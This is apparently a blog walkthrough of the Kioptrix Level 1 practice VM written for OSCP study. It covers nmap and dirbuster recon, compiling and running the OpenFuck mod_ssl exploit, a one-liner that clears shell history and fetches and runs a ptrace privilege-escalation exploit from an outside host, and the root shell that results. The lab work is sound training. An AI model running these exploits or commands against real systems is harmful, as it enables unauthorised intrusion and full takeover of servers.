The Kioptrix series was created by @loneferret as a way of learning about different variations of linux. They are also designed to be very similar to those faced in the OSCP exam. Since I’m eventually hoping to take this certification, this looked like a good candidate to learn from as they have been described as ‘easy’ in the sense that there aren’t too many nasty traps. The first to try is of course Kioptrix: Level 1
As always, find the IP’s of the box we want to target to ensure it’s working.
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.137.1 00:50:56:c0:00:01 VMware, Inc.
192.168.137.132 00:0c:29:b7:d4:16 VMware, Inc.
192.168.137.254 00:50:56:fe:05:d2 VMware, Inc.
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 3 responded
Now lets do a port scan to see what services are open.
root@kali:~# nmap -A 192.168.137.132
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-04-18 21:48 BST
Nmap scan report for 192.168.137.132
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1026/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-04-18T20:50:46+00:00; +1m50s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:B7:D4:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms 192.168.137.132
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.91 seconds
Browsing to the http server, we just a pretty simple welcome page, with not too much of interest.
I ran dirbuster hoping there was something more interesting on the server but this didn’t turn up much.
dirbuster
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: /cgi-bin/ - 403
Dir found: / - 200
Dir found: /icons/ - 200
Dir found: /manual/ - 200
Dir found: /manual/mod/ - 200
File found: /test.php - 200
Dir found: /icons/small/ - 200
Dir found: /doc/ - 403
Dir found: /usage/ - 200
File found: /usage/usage_201704.html - 200
File found: /usage/usage_200909.html - 200
So after a lot of fruitless searching, I ended up looking for an Apache 1.3 exploit, hoping to use that as a route onto the server, but there was nothing that looked to give me a way onto the server. I’d seen references to mod_ssl on a couple pages (in fact it’s shown in the nmap scan too), so I tried that.
root@kali:~# searchsploit mod_ssl 2.8
Lo and behold we have three exploits available, with OpenFuckV2 looking to be a way to get us onto the server.
So I downloaded OpenFuckV2 and compiled it according to the changes made here.
gcc -o OpenFuck 764.c -lcrypto
Unfortunately, upon compiling, I got this error.
764.c:646:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
764.c: In function ‘read_ssl_packet’:
764.c:848:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
^~~~~~~~~~~~~
764.c:848:19: note: each undeclared identifier is reported only once for each function it appears in
764.c: In function ‘get_server_hello’:
764.c:980:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
if (*(p++) != SSL2_MT_SERVER_HELLO) {
^~~~~~~~~~~~~~~~~~~~
764.c: In function ‘send_client_master_key’:
764.c:1072:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
if (pkey->type != EVP_PKEY_RSA) {
^~
764.c: In function ‘get_server_verify’:
764.c:1149:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
if (buf[0] != SSL2_MT_SERVER_VERIFY) {
^~~~~~~~~~~~~~~~~~~~~
764.c: In function ‘send_client_finished’:
764.c:1161:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
buf[0] = SSL2_MT_CLIENT_FINISHED;
^~~~~~~~~~~~~~~~~~~~~~~
764.c: In function ‘get_server_finished’:
764.c:1174:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)
if (buf[0] != SSL2_MT_SERVER_FINISHED) {
^~~~~~~~~~~~~~~~~~~~~~~
So, I’m including the error log here in case you stumbled across this page while googling. The reason it seems, according to an unknown user in the comments of this writeup, is that the wrong version of libssl is installed. This is fixed by installing an older version.
apt-get install libssl1.0-dev
So now we need to specify the shellcode we want to send depending on the install. If you run the binary you’ll see a list of all the possibles, but two stand out considering the known apache version and that there is a reference to Red Hat in the nmap scan and peppered around some random exposed files. From this we know that we want 0x6a or 0x6b. 0x6a yielded nothing but 0x6b got us a shell.
root@kali:~/Documents/Kioptrix1# ./OpenFuck 0x6b 192.168.137.132 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80fc550
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--17:22:06-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80...
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$
So the ptrace-kmod.c file didn’t work for some reason. Not having actually read it I didn’t realise this was what allowed us to get root so I spent a much longer time than I want to admit trying to find some other vulnerabilities. After going to back to square one however, I realised this was what would help us get root on the box. So I downloaded it to the box, compiled and ran.
bash-2.05$ gcc -o ptrace ptrace-kmod.c
gcc -o ptrace ptrace-kmod.c
bash-2.05$ ./ptrace
./ptrace
[+] Attached to 1329
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Boom we have root! All in all this is quite a simple box but really helped me bridge that gap in understanding how to use an exploit to compromise a server and actually going about it and troubleshooting issues along the way. I’d highly recommend this, if like me you are new to security and looking to learn more about actually using exploits and information gathering to compromise a system.
Written on April 18th, 2017 by Josiah Beverton